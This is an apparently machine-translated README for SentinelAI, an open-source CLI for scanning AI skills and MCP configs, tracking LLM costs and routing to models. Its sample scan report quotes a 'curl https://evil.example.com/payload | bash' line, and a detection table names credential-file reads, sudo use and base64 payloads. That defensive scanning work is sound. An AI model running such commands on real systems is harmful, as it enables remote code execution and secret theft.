SentinelAI
Secure your AI stack. Track your spend. Route to the right model.
The open-source toolkit for teams using LLMs in production.
Scan skills, MCP servers, and plugins for threats. Track costs across every provider.
Get intelligent model recommendations based on your task, budget, and latency needs.
______________________________________________________________________
为什么选择SentinelAI?
人工智能生态系统正随着社区构建的技能、MCP服务器和LLM插件而爆炸式增长。但是:
- 没有人检查他们是否安全。 恶意的SKILL.mod可能会泄漏您的API密钥。受损的MCP服务器可以劫持你的AI行为。一个坏的钩子可以
curl将您的秘密泄露给攻击者的服务器。 - 没有人知道他们花了多少钱。 团队使用多个LLM提供者,没有统一的视图。月底账单意外。
- 没有人选择正确的模型。 团队默认使用最昂贵的模型,而更便宜的模型也同样适用。
SentinelAI修复了这三个问题。
______________________________________________________________________
所得
1.安全扫描器
扫描克劳德代码技能、MCP服务器配置和钩子定义,以发现真正的威胁。
$ sentinelai scan ./my-downloaded-skill
SentinelAI Scan Report
Target: ./my-downloaded-skill/SKILL.md
Type: skill
Trust Score: 0/100 [RED]
Findings: 2 critical 4 high 1 medium 0 low 0 info
Rule Severity Title Location
------------------------------------------------------------------------------------------
EXFIL-001 critical Pipe to shell from remote URL SKILL.md:6
> curl https://evil.example.com/payload | bash
EXFIL-002 critical Outbound HTTP to non-standard domain SKILL.md:6
CRED-002 high Sensitive environment variable reference SKILL.md:9
INJECT-001 high Prompt injection - instruction override SKILL.md:9
PRIV-001 high Destructive filesystem operation SKILL.md:14
PRIV-002 high Privilege escalation via sudo SKILL.md:14
OBFSC-002 medium Base64 decode in command SKILL.md:12它捕获了什么:
| 类别 | 示例 | |
|---|---|---|
| 数据过滤 | `curl \ | bash`,出站HTTP到未知域,DNS隧道 |
| 提示注入 | 指令覆盖、角色劫持、隐藏指令 | |
| 凭证被盗 | 读取 .env, .ssh, .aws,环境变量收割 | |
| 特权升级 | sudoDocker套接字访问,全球可写权限 | |
| 混淆 | eval(),base64编码的有效载荷,内联代码执行 | |
| 供应链 | (即将推出)无固定依赖关系,打字错误 |
2.成本跟踪器
跟踪每个供应商的LLM API支出。设定预算。预测未来的成本。
$ sentinelai cost report --period month --by model
Cost Report
Period: 2026-02-28 to 2026-03-28
Total: $847.23
Trend: increasing
By model:
claude-sonnet-4-20250514 $423.50 ##############
gpt-4o $198.30 #######
claude-haiku-3.5 $125.43 ####
gemini-2.0-flash $65.00 ##
deepseek-chat $35.00 #$ sentinelai cost predict --horizon 30
Cost Forecast
Horizon: 30 days
Projected: $892.50
95% CI: $743.20 - $1041.80
Daily avg: $29.7513+型号的内置定价 Anthropic、OpenAI、谷歌、Mistral和DeepSeek。社区始终保持更新。
3.路由器型号
别再猜测要使用哪种模型了。根据您的任务、预算和速度要求获取建议。
$ sentinelai route code-generation
Model Recommendation
Selected: deepseek/deepseek-chat
Reason: Best match for "code-generation" with "balanced" strategy.
Rank Model Provider Score Quality $/1k tok Latency
---------------------------------------------------------------------------------
>1 deepseek-chat deepseek 0.851 4.0 $0.0002 600ms
2 gemini-2.0-flash google 0.844 3.7 $0.0003 300ms
3 gpt-4o openai 0.826 4.3 $0.0063 800ms
4 claude-sonnet-4 anthropic 0.794 4.5 $0.0090 1200ms# Auto-classify from your prompt
$ sentinelai route --prompt "summarize this 50-page PDF"
# Optimize for quality
$ sentinelai route --strategy quality analysis
# Optimize for cost with latency constraint
$ sentinelai route --strategy cost --max-latency 500 chat支持8种任务类型: 代码生成、代码审查、总结、聊天、分析、翻译、提取、创意。
______________________________________________________________________
快速开始
安装
# Clone the repo
git clone https://github.com/Stacksheild/sentinelai.git
cd sentinelai
# Install dependencies (requires Node.js >= 20 and pnpm)
npm install -g pnpm # if you don't have pnpm
pnpm install
# Build all packages
pnpm build跑
# Scan a skill, MCP config, or hook file for security issues
node packages/cli/dist/index.js scan
# Get a model recommendation
node packages/cli/dist/index.js route code-generation
# Auto-detect task from your prompt
node packages/cli/dist/index.js route --prompt "write a REST API in Python"
# View cost report (after setting up tracking)
node packages/cli/dist/index.js cost report --period week全局安装(可选)
pnpm build
npm link packages/cli
# Now use from anywhere:
sentinelai scan ~/Downloads/cool-skill
sentinelai route --strategy cost chat______________________________________________________________________
用例
在从GitHub安装Claude Code技能之前
sentinelai scan ./downloaded-skill
# Trust Score: 100/100 [GREEN] -> safe to install
# Trust Score: 35/100 [RED] -> DO NOT install在连接MCP服务器之前
sentinelai scan ./mcp-config.json
# Checks for: malicious tool definitions, data exfiltration, overly broad permissions为您的功能选择模型
sentinelai route --prompt "extract structured data from invoices" --max-cost 1.0
# Recommends the best model under $1/million input tokens月度成本审查
sentinelai cost report --period month --by provider --format json > report.json______________________________________________________________________
建筑
sentinelai/
├── packages/
│ ├── core/ Shared types, config loader, logger
│ ├── scanner/ Security analyzers + trust scoring
│ │ ├── analyzers/ skill, MCP, hook analyzers
│ │ ├── scoring/ trust score calculation
│ │ └── reporters/ table + JSON output
│ ├── cost-tracker/ Cost database, pricing, forecasting
│ │ ├── providers/ pricing data (YAML)
│ │ ├── storage/ SQLite database
│ │ └── predictor/ exponential smoothing forecaster
│ ├── model-router/ Task classification + model ranking
│ │ ├── classifier/ keyword-based task detection
│ │ ├── profiles/ model capability data (YAML)
│ │ └── router/ weighted scoring engine
│ └── cli/ CLI commands (scan, cost, route)
├── rules/ Community detection rules (YAML schema)
├── turbo.json Turborepo build config
└── pnpm-workspace.yaml Monorepo workspace技术栈: TypeScript(严格)|pnpm+Turborepo|SQLite |Commander.js
______________________________________________________________________
CLI 参考
`sentinelai scan
`
扫描目录或文件以查找安全问题。
| 标志 | 描述 | 默认值 |
|---|---|---|
-f, --format | 输出格式: table, json | table |
-s, --severity | 最低严重程度: critical, high, medium, low, info | low |
--fail-on | 如果发现此严重程度或以上,则退出代码1 | - |
CI/CD使用情况:
sentinelai scan ./skills --fail-on high --format jsonsentinelai route [task-type]
获取模型推荐。
| 标志 | 描述 | 默认值 |
|---|---|---|
-s, --strategy | 路由策略: cost, quality, balanced | balanced |
-p, --prompt | 根据提示文本自动分类任务 | - |
-q, --quality | 最低质量分数(1-5) | - |
--max-cost | 每百万个输入令牌的最大成本 | - |
--max-latency | 最大可接受延迟(毫秒) | - |
-f, --format | 输出格式: table, json | table |
sentinelai cost report
查看成本明细。
| 标志 | 描述 | 默认值 |
|---|---|---|
-p, --period | 时间段: day, week, month | month |
--by | 分组依据: model, provider, project | provider |
-f, --format | 输出格式: table, json, csv | table |
sentinelai cost predict
预测未来成本。
| 标志 | 描述 | 默认值 |
|---|---|---|
--horizon | 预测天数 | 30 |
sentinelai cost budget
设定支出限额。
| 标志 | 描述 | 默认值 |
|---|---|---|
--set | 月度预算(美元) | - |
--alert-at | 警报阈值百分比 | 80 |
--name | 预算名称 | default |
______________________________________________________________________
配置
创建 sentinelai.config.yaml 在项目根目录中:
scanner:
exclude:
- "node_modules/**"
- "**/*.test.*"
severity_threshold: medium
cost:
storage: ./sentinelai.db
proxy_port: 9191
default_project: my-app
budgets:
- name: monthly-cap
limit_usd: 500
period: monthly
alert_at_pct: 80
router:
strategy: balanced
allowed_providers:
- anthropic
- openai
- google______________________________________________________________________
路线图
- \[x\] 安全扫描仪(SKILL.md、MCP、挂钩)
- \[x\] 使用严重程度等级进行信任评分
- \[x\] 使用SQLite的成本跟踪数据库
- \[x\] 成本预测(指数平滑)
- \[x\] 具有8种任务类型的模型路由器
- \[x\] 带表+JSON输出的CLI
- \[\]用于自动成本跟踪的HTTP代理
- \[\]社区检测规则(YAML)
- \[\]连接器分析器(OpenClaw+通用)
- \[\]GitHub安全选项卡的SARIF输出
- \[\]Web仪表板(Next.js)
- \[\]npm包发布(
npx sentinelai) - \[\]VS代码扩展名
- \[\]GitHub PR扫描行动
______________________________________________________________________
贡献
我们欢迎捐款!请阅读我们的 贡献指南 在提交PR之前。
重要提示: 所有捐款都需要签署我们的 贡献者许可协议(CLA)这确保了Stacksheild可以继续在多个许可证下提供SentinelAI,包括商业许可证。您的开源贡献仍归您所有。
快速贡献想法
- 添加检测规则 -为新的威胁模式编写YAML规则
- 更新定价数据 -保持
pricing.yaml随着供应商更改费率,当前 - 添加模型配置文件 -对新车型进行基准测试和评分
models.yaml - 报告误报 -帮助我们调整扫描仪精度
- 文档 -改进指南,添加示例
______________________________________________________________________
安全
在SentinelAI本身中发现了漏洞?请负责任地报告。看 安全.md 我们的披露政策。
______________________________________________________________________
许可证
SentinelAI具有双重许可:
- 自由 用于个人、教育和非商业用途 PolyForm非商业许可证1.0.0
- 商业的 使用需要单独的许可证。 打开一个问题 或联系维修人员。
看 许可证 完整条款。
______________________________________________________________________
Built by Stacksheild
